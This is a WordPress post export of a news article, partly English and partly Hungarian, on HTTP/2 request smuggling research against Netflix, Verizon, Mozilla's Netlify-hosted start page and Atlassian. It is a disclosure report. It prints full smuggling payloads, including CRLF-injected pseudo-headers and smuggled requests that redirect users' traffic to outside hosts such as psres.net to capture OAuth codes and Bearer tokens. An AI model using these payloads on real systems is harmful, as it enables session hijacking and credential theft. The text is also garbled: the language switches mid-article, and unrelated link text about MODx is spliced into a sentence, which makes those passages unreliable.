{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"\u00daj t\u00e1mad\u00e1s a frontend-backend rendszerek ellen, amely lehet\u0151v\u00e9 teszi a k\u00e9r\u00e9sekbe val\u00f3 beavatkoz\u00e1st","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

A web system where the frontend receives connections over HTTP\/2 and sends them to the backend via HTTP\/1.1 has been susceptible to a new variant of the attack 'HTTP Request Smuggling'. This allows the insertion of specially crafted client requests into the content of other users' requests being processed in the same stream between the frontend and backend. The attack can be used to inject malicious JavaScript code into a session with a legitimate site, bypass access restrictions, and intercept authentication parameters. <\/p>\n

The issue affects web proxies, load balancers, web accelerators, content delivery systems, and other configurations where requests are redirected in a frontend-backend pattern. The study's author demonstrated the possibility of the attack on systems like Netflix, Verizon, Bitbucket, Netlify CDN, and Atlassian, earning $56,000 in vulnerability reward programs. The problem has also been confirmed in F5 Networks products. Partially, the problem concerns mod_proxy in the Apache HTTP server (CVE-2021-33193), with fixes expected in version 2.4.49 (developers were notified of the issue in early May and had three months to address it). In nginx, the ability to simultaneously specify the 'Content-Length' and 'Transfer-Encoding' headers has been blocked in the previous release (1.21.1). Tools for conducting attacks have already been integrated into the Burp toolkit and are available as the Turbo Intruder extension. <\/p>\n

The principle behind the new request injection method in traffic is similar to the vulnerability identified by the same researcher two years ago, but limited to frontends receiving requests over HTTP\/1.1. It should be noted that in the frontend-backend model, an additional node\u2014the frontend\u2014accepts client requests, establishing a long-lived TCP connection with the backend that directly processes the requests. Through this shared connection, requests from different users are usually transmitted sequentially, separated by HTTP protocol means. <\/p>\n

A klasszikus \"HTTP Request Smuggling\" t\u00e1mad\u00e1s azon alapult, hogy a frontendek \u00e9s a backendek elt\u00e9r\u0151en \u00e9rtelmezt\u00e9k a \"Content-Length\" HTTP-fejl\u00e9cek haszn\u00e1lat\u00e1t (amely meghat\u00e1rozza a k\u00e9r\u00e9sben l\u00e9v\u0151 adatok \u00f6sszes hossz\u00e1t) \u00e9s a \"Transfer-Encoding: chunked\"-et (amely lehet\u0151v\u00e9 teszi az adatok darabokban t\u00f6rt\u00e9n\u0151 tov\u00e1bb\u00edt\u00e1s\u00e1t). P\u00e9ld\u00e1ul, ha a frontend csak a \"Content-Length\"-t t\u00e1mogatja, de figyelmen k\u00edv\u00fcl hagyja a \"Transfer-Encoding: chunked\"-t, akkor a t\u00e1mad\u00f3 olyan k\u00e9r\u00e9st k\u00fcldhet, amelyben egyszerre szerepelnek a \"Content-Length\" \u00e9s a \"Transfer-Encoding: chunked\" fejl\u00e9cek, de a \"Content-Length\" \u00e9rt\u00e9ke nem felel meg a chunked l\u00e1nc m\u00e9ret\u00e9nek. Ebben az esetben a frontend a \"Content-Length\" alapj\u00e1n dolgozza fel \u00e9s ir\u00e1ny\u00edtja tov\u00e1bb a k\u00e9r\u00e9st, m\u00edg a backend a \"Transfer-Encoding: chunked\" alapj\u00e1n v\u00e1rja a blokk befejez\u00e9s\u00e9t, \u00e9s a t\u00e1mad\u00f3 marad\u00e9k k\u00e9r\u00e9s\u00e9nek r\u00e9sze a k\u00f6vetkez\u0151, m\u00e1s felhaszn\u00e1l\u00f3nak tov\u00e1bb\u00edtott k\u00e9r\u00e9s elej\u00e9n fog megjelenni. <\/p>\n

A sz\u00f6veges HTTP\/1.1 protokollal ellent\u00e9tben, amelyet sorok szintj\u00e9n elemeznek, a HTTP\/2 bin\u00e1ris protokoll, amely el\u0151re meghat\u00e1rozott m\u00e9ret\u0171 adatblokkokkal manipul\u00e1l. A HTTP\/2-ben \u00e1ln\u00e9vfejl\u00e9cek vannak, amelyek megfelelnek a hagyom\u00e1nyos HTTP-fejl\u00e9ceknek. Amikor a backenddel a HTTP\/1.1 protokollal l\u00e9p kapcsolatba, a frontend ezeket az \u00e1ln\u00e9vfejl\u00e9ceket a megfelel\u0151 HTTP\/1.1 HTTP-fejl\u00e9cekk\u00e9 alak\u00edtja. A probl\u00e9ma az, hogy a backend m\u00e1r a frontend \u00e1ltal kik\u00fcld\u00f6tt HTTP-fejl\u00e9cek alapj\u00e1n hoz d\u00f6nt\u00e9seket az adatfolyam elemz\u00e9s\u00e9r\u0151l, an\u00e9lk\u00fcl hogy tudom\u00e1sa lenne az eredeti k\u00e9r\u00e9s param\u00e9tereir\u0151l. <\/p>\n

A pszeudo-fejl\u00e9cek form\u00e1j\u00e1ban a \"content-length\" \u00e9s a \"transfer-encoding\" \u00e9rt\u00e9kek is tov\u00e1bb\u00edthat\u00f3k, annak ellen\u00e9re, hogy az HTTP\/2-ben ezek nem haszn\u00e1latosak, mivel az adatok m\u00e9rete egy k\u00fcl\u00f6n mez\u0151ben van meghat\u00e1rozva. Mindazon\u00e1ltal a HTTP\/2 k\u00e9r\u00e9s HTTP\/1.1-re t\u00f6rt\u00e9n\u0151 \u00e1tkonvert\u00e1l\u00e1sa sor\u00e1n ezek a fejl\u00e9cek \u00e1tvitelre ker\u00fclnek, ami f\u00e9lrevezetheti a backendet. K\u00e9t f\u0151 t\u00e1mad\u00e1si m\u00f3dot k\u00fcl\u00f6nb\u00f6ztet\u00fcnk meg: az H2.TE-t \u00e9s az H2.CL-t, amelyekben a backend f\u00e9lrevezethet\u0151 egy helytelen transfer-encoding vagy content-length \u00e9rt\u00e9k \u00e1ltal, amely nem felel meg az HTTP\/2 protokollon a frontendhez \u00e9rkez\u0151 k\u00e9r\u00e9s t\u00e9nyleges m\u00e9ret\u00e9nek.

\"\u00daj<\/center> <\/p>\n

P\u00e9ldak\u00e9nt eml\u00edthet\u0151 az H2.CL t\u00e1mad\u00e1s, ahol a content-length hamis m\u00e9rete van megadva a HTTP\/2 k\u00e9r\u00e9sben a Netflix fel\u00e9. Ez a k\u00e9r\u00e9s a Content-Length hasonl\u00f3 HTTP fejl\u00e9cet eredm\u00e9nyezi, amikor HTTP\/1.1-en kommunik\u00e1l a h\u00e1tt\u00e9rszolg\u00e1ltat\u00e1ssal, de mivel a Content-Length alacsonyabb \u00e9rt\u00e9ket jel\u00f6l, mint a val\u00f3s m\u00e9ret, egyes adatok a v\u00e9g\u00e9n a k\u00f6vetkez\u0151 k\u00e9r\u00e9s kezdetek\u00e9nt lesznek feldolgozva. <\/p>\n

P\u00e9ld\u00e1ul a HTTP\/2 k\u00e9r\u00e9s: :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Ez a h\u00e1tt\u00e9rszolg\u00e1ltat\u00e1snak a k\u00f6vetkez\u0151 k\u00e9r\u00e9s\u00e9t fogja k\u00fcldeni: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Mivel a Content-Length n\u00e9gynek van be\u00e1ll\u00edtva, a backend csak az \"abcd\"-t fogja k\u00e9r\u00e9s testek\u00e9nt \u00e9rtelmezni, m\u00edg a marad\u00e9k \"GET \/n HTTP\/1.1...\" r\u00e9szt a k\u00f6vetkez\u0151 k\u00e9r\u00e9s elej\u00e9n kezeli, amely egy m\u00e1sik felhaszn\u00e1l\u00f3hoz van k\u00f6tve. Ennek megfelel\u0151en a sz\u00e1lak deszinkroniz\u00e1l\u00e1sa fog bek\u00f6vetkezni, \u00e9s a k\u00f6vetkez\u0151 k\u00e9r\u00e9sre v\u00e1laszul a hamis k\u00e9r\u00e9s feldolgoz\u00e1s\u00e1nak eredm\u00e9nye fog megjelenni. A Netflix eset\u00e9ben a t\u00e1vhost megad\u00e1sa a \"Host:\" fejl\u00e9ben a hamis k\u00e9r\u00e9sben azt eredm\u00e9nyezte, hogy a kliens a \"Location: https:\/\/02.rs?x.netflix.com\/n\" v\u00e1laszt kapta, \u00e9s lehet\u0151v\u00e9 tette, hogy a kliens tetsz\u0151leges tartalmat tov\u00e1bb\u00edtson, bele\u00e9rtve a saj\u00e1t JavaScript-k\u00f3dj\u00e1nak v\u00e9grehajt\u00e1s\u00e1t a Netflix webhely\u00e9n. <\/p>\n

A m\u00e1sodik t\u00e1mad\u00e1si lehet\u0151s\u00e9g (H2.TE) a «Transfer-Encoding: chunked» fejl\u00e9c behelyettes\u00edt\u00e9s\u00e9vel kapcsolatos. A transfer-encoding \u00e1lfejl\u00e9c haszn\u00e1lata az HTTP\/2-ben a specifik\u00e1ci\u00f3 szerint tilos, \u00e9s az ilyen k\u00e9r\u00e9seket helytelennek kell tekinteni. Ennek ellen\u00e9re egyes frontend implement\u00e1ci\u00f3k nem veszik figyelembe ezt a k\u00f6vetelm\u00e9nyt, \u00e9s megengedik a transfer-encoding \u00e1lfejl\u00e9c haszn\u00e1lat\u00e1t az HTTP\/2-ben, amelyet a megfelel\u0151 HTTP fejl\u00e9c nevek\u00e9nt alak\u00edtanak \u00e1t. Ha jelen van a «Transfer-Encoding» fejl\u00e9c, a backend priorit\u00e1sk\u00e9nt kezelheti azt, \u00e9s r\u00e9szletezheti az adatokat chunked \u00fczemm\u00f3dban k\u00fcl\u00f6nb\u00f6z\u0151 m\u00e9ret\u0171 blokkokkal a «{m\u00e9ret}\r\n{blokk}\r\n{m\u00e9ret}\r\n{blokk}\r\n0» form\u00e1tumban, f\u00fcggetlen\u00fcl az eredeti teljes m\u00e9rett\u0151l. <\/p>\n

Egy hasonl\u00f3 r\u00e9s kihaszn\u00e1l\u00e1s\u00e1t bemutat\u00f3 p\u00e9lda a Verizon c\u00e9gn\u00e9l volt l\u00e1that\u00f3. A probl\u00e9ma az autentik\u00e1ci\u00f3s port\u00e1lra vonatkozott, \u00e9s eredeti MODx, \u00e9s t\u00f6bb eszk\u00f6zt biztos\u00edt \u00d6nnek a felhaszn\u00e1l\u00f3i weboldalak \u00e9s gazdag webalkalmaz\u00e1sok l\u00e9trehoz\u00e1s\u00e1hoz.<\/a>amelyet olyan webhelyek is haszn\u00e1lnak, mint a Huffington Post \u00e9s Engadget. P\u00e9ld\u00e1ul a kliens k\u00e9r\u00e9s HTTP\/2-ben: :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

HTTP\/1.1 k\u00e9r\u00e9s backendre val\u00f3 \u00e1tir\u00e1ny\u00edt\u00e1sa: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

A backend ezzel szemben figyelmen k\u00edv\u00fcl hagyta a «Content-Length» fejl\u00e9cet, \u00e9s a «Transfer-Encoding: chunked» alapj\u00e1n v\u00e9grehajtotta az adatok \u00e1raml\u00e1s\u00e1nak tagol\u00e1s\u00e1t. A gyakorlatban ez a t\u00e1mad\u00e1s lehet\u0151v\u00e9 tette a felhaszn\u00e1l\u00f3i k\u00e9r\u00e9sek \u00e1tir\u00e1ny\u00edt\u00e1s\u00e1t a saj\u00e1t webhely\u00e9re, bele\u00e9rtve az OAuth hiteles\u00edt\u00e9ssel kapcsolatos k\u00e9r\u00e9sek elfog\u00e1s\u00e1t, amelyek param\u00e9terei a Referer fejl\u00e9cben jelentek meg, valamint a hiteles\u00edt\u00e9si munkamenet szimul\u00e1l\u00e1s\u00e1t \u00e9s a felhaszn\u00e1l\u00f3i adatok k\u00fcld\u00e9s\u00e9nek kezdem\u00e9nyez\u00e9s\u00e9t a t\u00e1mad\u00f3hoz. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?…&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik… <\/p>\n

Az HTTP\/2 implement\u00e1ci\u00f3k ellen, amelyek nem engedik meg a transfer-encoding \u00e1lfejl\u00e9c megad\u00e1s\u00e1t, egy m\u00e1sik m\u00f3dszert javasoltak, amely a «Transfer-Encoding» fejl\u00e9c behelyettes\u00edt\u00e9s\u00e9re vonatkozik, amelyet m\u00e1s \u00e1lfejl\u00e9cekhez csatoltak, a sort\u00f6r\u00e9s karakter\u00e9vel elv\u00e1lasztva (HTTP\/1.1-re t\u00f6rt\u00e9n\u0151 \u00e1talak\u00edt\u00e1s eset\u00e9n ebben az esetben k\u00e9t k\u00fcl\u00f6n HTTP-fejl\u00e9c j\u00f6n l\u00e9tre). <\/p>\n

P\u00e9ld\u00e1ul a megadott probl\u00e9m\u00e1nak az Atlassian Jira \u00e9s a Netlify CDN (amelyet a Mozilla kezd\u0151oldal\u00e1nak kiszolg\u00e1l\u00e1s\u00e1ra haszn\u00e1lnak Firefox alatt) is ki van t\u00e9ve. K\u00fcl\u00f6n\u00f6sen a k\u00f6vetkez\u0151 HTTP\/2 k\u00e9r\u00e9s: :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

a backend HTTP\/1.1 k\u00e9r\u00e9s\u00e9nek elk\u00fcld\u00e9s\u00e9t eredm\u00e9nyezte POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

Egy m\u00e1sik lehet\u0151s\u00e9g a \u201eTransfer-Encoding\u201d fejl\u00e9c behelyettes\u00edt\u00e9s\u00e9re annak m\u00e1sik \u00e1ln\u00e9vhez vagy egy k\u00e9r\u00e9sm\u00f3dszeri sorhoz val\u00f3 csatol\u00e1sa volt. P\u00e9ld\u00e1ul, amikor az Atlassian Jira-hoz fordultak, az \u201efoo: bar\\r\\ntransfer-encoding\u201d \u00e1ln\u00e9v \u201echunked\u201d \u00e9rt\u00e9kkel a k\u00f6vetkez\u0151 HTTP-fejl\u00e9cek hozz\u00e1ad\u00e1s\u00e1t eredm\u00e9nyezte: \u201efoo: bar\u201d \u00e9s \u201etransfer-encoding: chunked\u201d, m\u00edg a \u201e:method\u201d \u00e1ln\u00e9v megad\u00e1sa \u201eGET \/ HTTP\/1.1\\r\\nTransfer-encoding: chunked\u201d \u00e9rt\u00e9kkel az \u201eGET \/ HTTP\/1.1\\r\\ntransfer-encoding: chunked\u201d \u00e9rt\u00e9kre lett \u00e1tkonvert\u00e1lva. <\/p>\n

A probl\u00e9m\u00e1t felfedez\u0151 kutat\u00f3 egy tunneling technik\u00e1t is javasolt a frontend t\u00e1mad\u00e1sok v\u00e9grehajt\u00e1s\u00e1ra, ahol minden egyes... IP address<\/a> K\u00fcl\u00f6n kapcsolat j\u00f6n l\u00e9tre a h\u00e1tt\u00e9rrel, \u00e9s a k\u00fcl\u00f6nb\u00f6z\u0151 felhaszn\u00e1l\u00f3k forgalma nem keveredik. Az aj\u00e1nlott technika nem engedi meg, hogy be\u00e9p\u00fclj\u00f6n m\u00e1s felhaszn\u00e1l\u00f3k k\u00e9rd\u00e9seibe, de lehet\u0151s\u00e9get biztos\u00edt a k\u00f6z\u00f6s gyors\u00edt\u00f3t\u00e1r megfert\u0151z\u00e9s\u00e9re, amely befoly\u00e1solja m\u00e1s k\u00e9r\u00e9sek feldolgoz\u00e1s\u00e1t, \u00e9s lehet\u0151v\u00e9 teszi a bels\u0151 HTTP-fejl\u00e9cek helyettes\u00edt\u00e9s\u00e9t, amelyeket a frontend \u00e9s a h\u00e1tt\u00e9r k\u00f6z\u00f6tti inform\u00e1ci\u00f3k tov\u00e1bb\u00edt\u00e1s\u00e1hoz haszn\u00e1lnak (p\u00e9ld\u00e1ul a frontend oldali hiteles\u00edt\u00e9s sor\u00e1n ilyen fejl\u00e9cben a h\u00e1tt\u00e9rhez \u00e1tviteli adatokat adhat a jelenlegi felhaszn\u00e1l\u00f3r\u00f3l). P\u00e9ldak\u00e9nt a m\u00f3dszer gyakorlati alkalmaz\u00e1sak\u00e9nt a gyors\u00edt\u00f3t\u00e1r megfert\u0151z\u00e9s\u00e9vel siker\u00fclt ellen\u0151rizni az oldalakat a Bitbucket szolg\u00e1ltat\u00e1sban.
\n
Forr\u00e1s: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47\u00daj t\u00e1mad\u00e1s a frontend-h\u00e1tt\u00e9r rendszerek ellen, amely lehet\u0151v\u00e9 teszi a k\u00e9r\u00e9sekbe val\u00f3 be\u00e9p\u00fcl\u00e9st | ProHoster","description":"A webes rendszerek, amelyekn\u00e9l a frontend HTTP\/2-n kereszt\u00fcl fogadja a kapcsolatokat \u00e9s HTTP\/1.1-en kereszt\u00fcl tov\u00e1bb\u00edtja a h\u00e1tt\u00e9rnek, egy \u00faj m\u00f3dszer\u0171 t\u00e1mad\u00e1snak, az \"HTTP Request Smuggling\"-nak vannak kit\u00e9ve, amely lehet\u0151v\u00e9 teszi a k\u00fcl\u00f6nlegesen form\u00e1zott k\u00e9r\u00e9sek k\u00fcld\u00e9s\u00e9t.","canonical_url":"https:\/\/prohoster.info\/hu\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"hu_HU","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/hu\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}